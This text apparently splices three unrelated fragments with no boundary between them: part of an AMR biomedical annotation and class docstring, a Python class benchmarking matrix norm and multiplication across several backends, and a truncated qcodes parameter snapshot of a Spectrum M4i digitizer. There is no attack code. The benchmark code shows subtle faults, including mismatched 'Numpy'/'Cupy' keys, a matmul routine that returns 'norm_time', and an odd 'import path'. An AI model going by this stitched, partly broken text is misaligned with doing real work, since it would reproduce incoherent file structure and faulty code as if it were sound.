"CRC"~e.2[CRC]))) :ARG2~e.5[with] (s / small-molecule :name (n / name :op1 "U0126"~e.6[U0126]))) :ARG1 (l / level~e.11[levels] :quant-of (n6 / nucleic-acid :name (n4 / name :op1 "mRNA"~e.10[mRNA]) :ARG0-of (e2 / encode-01 :ARG1 (p / protein :name (n5 / name :op1 "serpinE2"~e.9[serpinE2]))))) :manner~e.7[markedly] (m / marked~e.7[markedly]) :ARG0-of (i / indicate-01~e.13[indicating] :ARG1~e.14[that] (l2 / likely-01~e.19[likely] :ARG1 (d / depend-01~e.20[dependent] :ARG0 (e3 / express-03~e.15[expression] :ARG2 p~e.17[serpinE2]) :ARG1~e.21[of] (a / activity-06~e.23[activity] :ARG0 (e / enzyme :name (n2 / name :op1 "ERK"~e.22[ERK]))))))) ''' def __init__(self, anno, tokens=None): ''' Given a Penman annotation string for a single rooted AMR, construct the data structure. Triples are stored internally in an order that preserves the layout of the annotation (even though this doesn't matter for the "pure" graph). (Whitespace is normalized, however.) Will raise an AMRSyntaxError if notationally malformed, or an AMRError if there is not
import os import path import time from pbmo.lib._libpbmo import Matrix, BoostMatrix from pbmo.lib.pymatrix import cpMatrix, pyMatrix, npMatrix from pbmo.lib.cumatrix import cuMatrix from pbmo.lib.cublasmatrix import cublasMatrix from pbmo.lib.numbamatrix import nbMatrix, nbparMatrix # from pbmo.lib.numbamatrix import nbMatrix, nbparMatrix, nbcudaMatrix import numpy as np # import matplotlib.pyplot as plt import plotly.graph_objects as go from tabulate import tabulate ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) PLOT_PATH = os.path.join(os.path.dirname(ROOT_PATH), "pbmo_plots") class PBMO: ''' Class that contains the performance benchmarks of the matrix operations from a provided matrix implementation Members ------- - dims : the number of dimensions / array of dimensions of matrix / matrices - max_iter : the maximum number of iterations for performance evaluation - matrix_types : the types of implementations currently available for matrix ''' color_dict = { "Python": "blue", "C++": "red", "Boost": "green", "NumPy": "darkturquoise", "CuPy": "magenta", "pyCUDA": "mediumpurple", "cuBLAS": "teal", "Numba": "goldenrod", "Numba (Parallel)": "coral", "Numba (CUDA)": "brown" } def __init__(self, dims=(10, 10), max_iter=10000, exclude_matrices=[]): ''' Initialize the performance benchmark evaluator Parameters ---------- - dims : tuple of ints or array of int tuples The dimension of the initialized matrix / array of dimensions of matrices - max_iter : int The maximum number of iterations to perform evaluation for - exclude_matrices : list of str List of matrices to exclude in evaluation ''' self.dims = dims self.max_iter = max_iter self.exclude_matrices = exclude_matrices # reduce matrix types to those which we only want self.matrix_types = [ "Python", "C++", "Boost", "NumPy", "CuPy", "pyCUDA", "cuBLAS", "Numba", "Numba (Parallel)" ] # remove matrix types that we dont want for mat_type in exclude_matrices: self.matrix_types.remove(mat_type) self.ntypes = len(self.matrix_types) # storage solution incase either are not evaluated self.normtimes = np.zeros(self.ntypes) if isinstance( self.dims, tuple) else np.zeros((self.ntypes, len(self.dims))) self.matmultimes = np.zeros(self.ntypes) if isinstance( self.dims, tuple) else np.zeros((self.ntypes, len(self.dims))) # results # elements are either single value (for single dim evaluation) or have len(self.dims) # Note: Ratio is the ratios of average time of mat_type to average time from Python self.results = { mat_type: { "Norm Time": 0., "Norm Ratio": 0., "Matmul Time": 0., "Matmul Ratio": 0. } for mat_type in self.matrix_types } # dict comprehension, just like list comprehension but for dicts self.results["Dimensions"] = self.dims # headers used for printing results as tabular format self.headers = [ "Type", "Average Norm Evaluation Time [s]", "Norm Ratio to NumPy", "Average Matmul Evaluation Time [s]", "Matmul Ratio to NumPy" ] def initialize_matrices(self, arr): '''Initialize all matrices that are not excluded from the given list''' # initialize matrix and store them in dictionary matrix_dict = { "Python": pyMatrix(arr), "C++": Matrix(arr), "Boost": BoostMatrix(arr), "Numpy": npMatrix(arr), "Cupy": cpMatrix(arr), "pyCUDA": cuMatrix(arr), "cuBLAS": cublasMatrix(arr), "Numba": nbMatrix(arr), "Numba (Parallel)": nbparMatrix(arr), # "Numba (CUDA)": nbcudaMatrix(arr) } # remove those that are excluded # TODO: add some error condition if names dont align for matrix_name in self.exclude_matrices: matrix_dict.pop(matrix_name) return list(matrix_dict.values()) def evaluate_norm(self, show_progress=False): ''' Evaluate the performance of the norm of all given matrix types in all dimensions Parameters: -------- - show_progress : bool - shows the current dimension it is working on. used for debug purposes ''' # separate between single dimension case vs list of dimensions case if isinstance(self.dims, tuple): normtimes = self.evaluate_norm_dim(self.dims) else: normtimes = np.zeros((self.ntypes, len(self.dims))) # iterate through each dimension for k, dim in enumerate(self.dims): if show_progress: print("Current Matrix Dimension: {0} x {1}".format(*dim)) norm_time = self.evaluate_norm_dim(dim) normtimes[:, k] = norm_time self.normtimes = normtimes return normtimes def evaluate_norm_dim(self, dim): '''Evaluate the norm for matrix with particular dimension''' time_arr = np.zeros((self.max_iter, self.ntypes)) # iterate from i = 0 to N+1 for i in range(self.max_iter + 1): # initialize random numpy array and initialize matrices # do this for each iteration to make evaluations truly random rand_arr = np.array(np.random.rand(*dim), copy=False).astype(np.float32) matrix_list = self.initialize_matrices(rand_arr) for j, mat in enumerate(matrix_list): t0 = time.perf_counter_ns() norm_val = mat.norm() t1 = time.perf_counter_ns() # append # start from index 1 since evaluation @ zero index # can have unwanted system effects # x 1e-9 to convert to seconds time_arr[i - 1][j] = (t1 - t0) * (1e-9) norm_time = np.mean(time_arr, axis=0) return norm_time def evaluate_matmul(self, show_progress=False): ''' Evaluate the performance of matrix multiplication of all given matrix types in all dimensions Parameters: -------- - show_progress : bool - shows the current dimension it is working on. used for debug purposes ''' # separate between single dimension case vs list of dimensions case if isinstance(self.dims, tuple): matmultimes = self.evaluate_matmul_dim(self.dims) else: matmultimes = np.zeros((self.ntypes, len(self.dims))) # iterate through each dimension for k, dim in enumerate(self.dims): if show_progress: print("Current Matrix Dimension: {0} x {1}".format(*dim)) matmul_time = self.evaluate_matmul_dim(dim) matmultimes[:, k] = matmul_time self.matmultimes = matmultimes return matmultimes def evaluate_matmul_dim(self, dim): '''Evaluate the performance of matrix multiplication''' time_arr = np.zeros((self.max_iter, self.ntypes)) # iterate from i = 0 to N+1 for i in range(self.max_iter + 1): # initialize random numpy array and initialize matrices # do this for each iteration to make evaluations truly random rand_arr = np.array(np.random.rand(*dim), copy=False).astype(np.float32) matrix_list = self.initialize_matrices(rand_arr) # initialize a second list for the matrix that the first matrix # will evaluate product with rand_arr_1 = np.array(np.random.rand(*dim), copy=False).astype(np.float32) matrix_list_1 = self.initialize_matrices(rand_arr_1) for j, mat in enumerate(matrix_list): # t0 = time.perf_counter_ns() (_, eval_time) = mat.matmul(matrix_list_1[j], True) # t1 = time.perf_counter_ns() # append # start from index 1 since evaluation @ zero index # can have unwanted system effects # x 1e-9 to convert to seconds time_arr[i - 1][j] = eval_time norm_time = np.mean(time_arr, axis=0) return norm_time def collect_results(self, comp_type="NumPy"): '''Gather evaluated results and put them into (an) organized dictionary(ies)''' comptype_index = self.matrix_types.index(comp_type) self.results["Comparison Type"] = comp_type for j, mat_type in enumerate(self.matrix_types): self.results[mat_type]["Norm Time"] = self.normtimes[j] self.results[mat_type]["Norm Ratio"] = self.normtimes[j] / \ self.normtimes[comptype_index] # ratio relative to comp_type self.results[mat_type]["Matmul Time"] = self.matmultimes[j] self.results[mat_type]["Matmul Ratio"] = self.matmultimes[j] / \ self.matmultimes[comptype_index] # ratio relative to comp_type def print_results(self, with_plotly=False): '''Print results in tabular format''' if isinstance(self.dims, tuple): print("Matrix Dimension: {0} x {1}".format(*self.dims)) table = [[mat_type] + list(self.results[mat_type].values()) for mat_type in self.matrix_types] # print using PlotLy tables if with_plotly: table_t = list(map(list, zip(*table))) # transpose list fig = go.Figure(data=[ go.Table( columnwidth=900, header=dict( values=self.headers, # fill_color='royalblue', align="center", font=dict(color='darkslategray', size=12), height=80), cells=dict( values=table_t, # fill_color='lightgrey', align="center", font=dict(color='darkslategray', size=11), height=50)) ]) fig.show() # print using tabulate else: print(tabulate(table, headers=self.headers, tablefmt="pretty")) else: for k, dim in enumerate(self.dims): print("Matrix Dimension: {0} x {1}".format(*dim)) table = [] for mat_type in self.matrix_types: vals = list(self.results[mat_type].values()) val_list = [vals[i][k] for i in range(len(vals))] table.append([mat_type] + val_list) if with_plotly: table_t = list(map(list, zip(*table))) fig = go.Figure(data=[ go.Table( header=dict( values=self.headers, # fill_color='royalblue', font=dict(color='darkslategray', size=12), height=40), cells=dict( values=table_t, # fill_color='lightgrey', font=dict(color='darkslategray', size=11), height=30)) ]) fig.show() else: print( tabulate(table, headers=self.headers, tablefmt="pretty")) def plot_results(self, op_type="Matmul", scale="log", xscale="linear", plot_ratios=False): ''' Plot performance benchmark results using PlotLy - Plot a bar chart if we only evaluate for single matrix dimension - Plot a graph of dimensions vs time for list of dimensions ''' time_arr = np.array([ self.results[mat_type]["{0} Time".format(op_type)] for mat_type in self.matrix_types ]) ratio_arr = np.array([ self.results[mat_type]["{0} Ratio".format(op_type)] for mat_type in self.matrix_types ]) comp_type = self.results["Comparison Type"] # make directory for plots if not already there if not os.path.exists(PLOT_PATH): os.makedirs(PLOT_PATH) # separate cases between lots of dimensions vs one dimension only if isinstance(self.dims, tuple): title = "Performance Benchmarks for {0} Evaluation with a {1} x {2} Matrix of Different Implementations over {3} Iterations".format( op_type, *self.dims, self.max_iter) # format value seen on bar graph to scientific notation bar_text = [ "{:.2e}".format(time_arr[j]) for j in range(self.ntypes) ] fig = go.Figure([ go.Bar(x=self.matrix_types, y=time_arr, text=bar_text, textposition='auto') ]) fig.update_layout( title={ "text": title, # 'xanchor': 'center', # 'yanchor': 'top', "font": dict(size=15) }, # xaxis_tickfont_size=14, yaxis=dict( title='Average Evaluation Time [s]', # titlefont_size=16, tickfont_size=11, )) fig.update_yaxes(type=scale) fig.show() fig.write_html((os.path.join( PLOT_PATH, "pbmo_{0}_barplot_{1}x{2}.html".format(op_type, *self.dims)))) if plot_ratios: # format value seen on bar graph to scientific notation bar_text = [ "{:.3e}".format(ratio_arr[j]) for j in range(self.ntypes) ] fig_ratio = go.Figure([ go.Bar(x=self.matrix_types, y=ratio_arr, text=bar_text, textposition='auto') ]) fig_ratio.update_layout( title={ "text": title, "font": dict(size=15) }, # xaxis_tickfont_size=14, yaxis=dict( title='Performance Ratio to {:s}'.format(comp_type), # titlefont_size=16, tickfont_size=11, )) fig_ratio.update_yaxes(type=scale) fig_ratio.show() fig_ratio.write_html((os.path.join( PLOT_PATH, "pbmo_{0}_barplot_ratios_{1}x{2}.html".format( op_type, *self.dims)))) else: title = "Performance Benchmarks for
'label': 'channel 0'}, 'input_path_1': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_input_path_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'input_path_1', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'input path 1'}, 'range_channel_1': {'value': 10000, 'ts': '2019-10-09 17:07:08', 'raw_value': 10000, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_range_channel_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'mV', 'name': 'range_channel_1', 'vals': '<Enum: {2500, 200, 1000, 5000, 2000, 10000, 500}>', 'post_delay': 0, 'label': 'range channel 1'}, 'termination_1': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_termination_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'termination_1', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'termination 1'}, 'ACDC_coupling_1': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_ACDC_coupling_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'ACDC_coupling_1', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'ACDC coupling 1'}, 'ACDC_offs_compensation_1': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_ACDC_offs_compensation_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'ACDC_offs_compensation_1', 'vals': '<Enum: {0, 1, -1}>', 'post_delay': 0, 'label': 'ACDC offs compensation 1'}, 'anti_aliasing_filter_1': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_anti_aliasing_filter_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'anti_aliasing_filter_1', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'anti aliasing filter 1'}, 'channel_1': {'value': '2019-10-09 17:07:08', 'ts': None, 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_channel_1', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'a.u.', 'name': 'channel_1', 'post_delay': 0, 'label': 'channel 1'}, 'input_path_2': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_input_path_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'input_path_2', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'input path 2'}, 'range_channel_2': {'value': 10000, 'ts': '2019-10-09 17:07:08', 'raw_value': 10000, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_range_channel_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'mV', 'name': 'range_channel_2', 'vals': '<Enum: {2500, 200, 1000, 5000, 2000, 10000, 500}>', 'post_delay': 0, 'label': 'range channel 2'}, 'termination_2': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_termination_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'termination_2', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'termination 2'}, 'ACDC_coupling_2': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_ACDC_coupling_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'ACDC_coupling_2', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'ACDC coupling 2'}, 'ACDC_offs_compensation_2': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_ACDC_offs_compensation_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'ACDC_offs_compensation_2', 'vals': '<Enum: {0, 1, -1}>', 'post_delay': 0, 'label': 'ACDC offs compensation 2'}, 'anti_aliasing_filter_2': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_anti_aliasing_filter_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'anti_aliasing_filter_2', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'anti aliasing filter 2'}, 'channel_2': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_channel_2', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'a.u.', 'name': 'channel_2', 'post_delay': 0, 'label': 'channel 2'}, 'input_path_3': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_input_path_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'input_path_3', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'input path 3'}, 'range_channel_3': {'value': 10000, 'ts': '2019-10-09 17:07:08', 'raw_value': 10000, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_range_channel_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'mV', 'name': 'range_channel_3', 'vals': '<Enum: {2500, 200, 1000, 5000, 2000, 10000, 500}>', 'post_delay': 0, 'label': 'range channel 3'}, 'termination_3': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_termination_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'termination_3', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'termination 3'}, 'ACDC_coupling_3': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_ACDC_coupling_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'ACDC_coupling_3', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'ACDC coupling 3'}, 'ACDC_offs_compensation_3': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_ACDC_offs_compensation_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'ACDC_offs_compensation_3', 'vals': '<Enum: {0, 1, -1}>', 'post_delay': 0, 'label': 'ACDC offs compensation 3'}, 'anti_aliasing_filter_3': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_anti_aliasing_filter_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'anti_aliasing_filter_3', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'anti aliasing filter 3'}, 'channel_3': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_channel_3', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'a.u.', 'name': 'channel_3', 'post_delay': 0, 'label': 'channel 3'}, 'card_mode': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_card_mode', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'card_mode', 'vals': '<Enum: {32, 1, 2, 64, 4, 128, 131072, 8388608, 8, 16}>', 'post_delay': 0, 'label': 'card mode'}, 'timeout': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_timeout', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'ms', 'name': 'timeout', 'post_delay': 0, 'label': 'timeout'}, 'data_memory_size': {'value': 8192, 'ts': '2019-10-09 17:07:08', 'raw_value': 8192, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_data_memory_size', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'data_memory_size', 'vals': '<Numbers v>=16>', 'post_delay': 0, 'label': 'data memory size'}, 'posttrigger_memory_size': {'value': 4096, 'ts': '2019-10-09 17:07:08', 'raw_value': 4096, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_posttrigger_memory_size', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'posttrigger_memory_size', 'post_delay': 0, 'label': 'posttrigger memory size'}, 'pretrigger_memory_size': {'value': 32, 'ts': '2019-10-09 17:07:08', 'raw_value': 32, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_pretrigger_memory_size', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'pretrigger_memory_size', 'post_delay': 0, 'label': 'pretrigger memory size'}, 'segment_size': {'value': 8192, 'ts': '2019-10-09 17:07:08', 'raw_value': 8192, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_segment_size', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'segment_size', 'post_delay': 0, 'label': 'segment size'}, 'total_segments': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_total_segments', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'total_segments', 'post_delay': 0, 'label': 'total segments'}, 'clock_mode': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_clock_mode', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'clock_mode', 'vals': '<Enum: {32, 1, 64, 4}>', 'post_delay': 0, 'label': 'clock mode'}, 'reference_clock': {'value': 10000000, 'ts': '2019-10-09 17:07:08', 'raw_value': 10000000, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_reference_clock', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'Hz', 'name': 'reference_clock', 'vals': '<Ints>', 'post_delay': 0, 'label': 'frequency of external reference clock'}, 'sample_rate': {'value': 250000000, 'ts': '2019-10-09 17:07:08', 'raw_value': 250000000, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_sample_rate', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'Hz', 'name': 'sample_rate', 'post_delay': 0, 'label': 'sample rate'}, 'exact_sample_rate': {'value': 250000000.0, 'ts': '2019-10-09 17:07:08', 'raw_value': 250000000.0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_exact_sample_rate', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'Hz', 'name': 'exact_sample_rate', 'post_delay': 0, 'label': 'sample rate'}, 'special_clock': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_special_clock', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': 'Hz', 'name': 'special_clock', 'post_delay': 0, 'label': 'special clock'}, 'trigger_or_mask': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_trigger_or_mask', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'trigger_or_mask', 'vals': '<Enum: {0, 1, 2, 4}>', 'post_delay': 0, 'label': 'trigger or mask'}, 'channel_or_mask': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_channel_or_mask', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'channel_or_mask', 'post_delay': 0, 'label': 'channel or mask'}, 'trigger_and_mask': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_trigger_and_mask', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'trigger_and_mask', 'vals': '<Enum: {0, 2, 4}>', 'post_delay': 0, 'label': 'trigger and mask'}, 'channel_and_mask': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_channel_and_mask', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'channel_and_mask', 'post_delay': 0, 'label': 'channel and mask'}, 'trigger_delay': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_trigger_delay', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'trigger_delay', 'post_delay': 0, 'label': 'trigger delay'}, 'external_trigger_mode': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_external_trigger_mode', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'external_trigger_mode', 'post_delay': 0, 'label': 'external trigger mode'}, 'external_trigger_termination': {'value': 0, 'ts': '2019-10-09 17:07:08', 'raw_value': 0, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_external_trigger_termination', 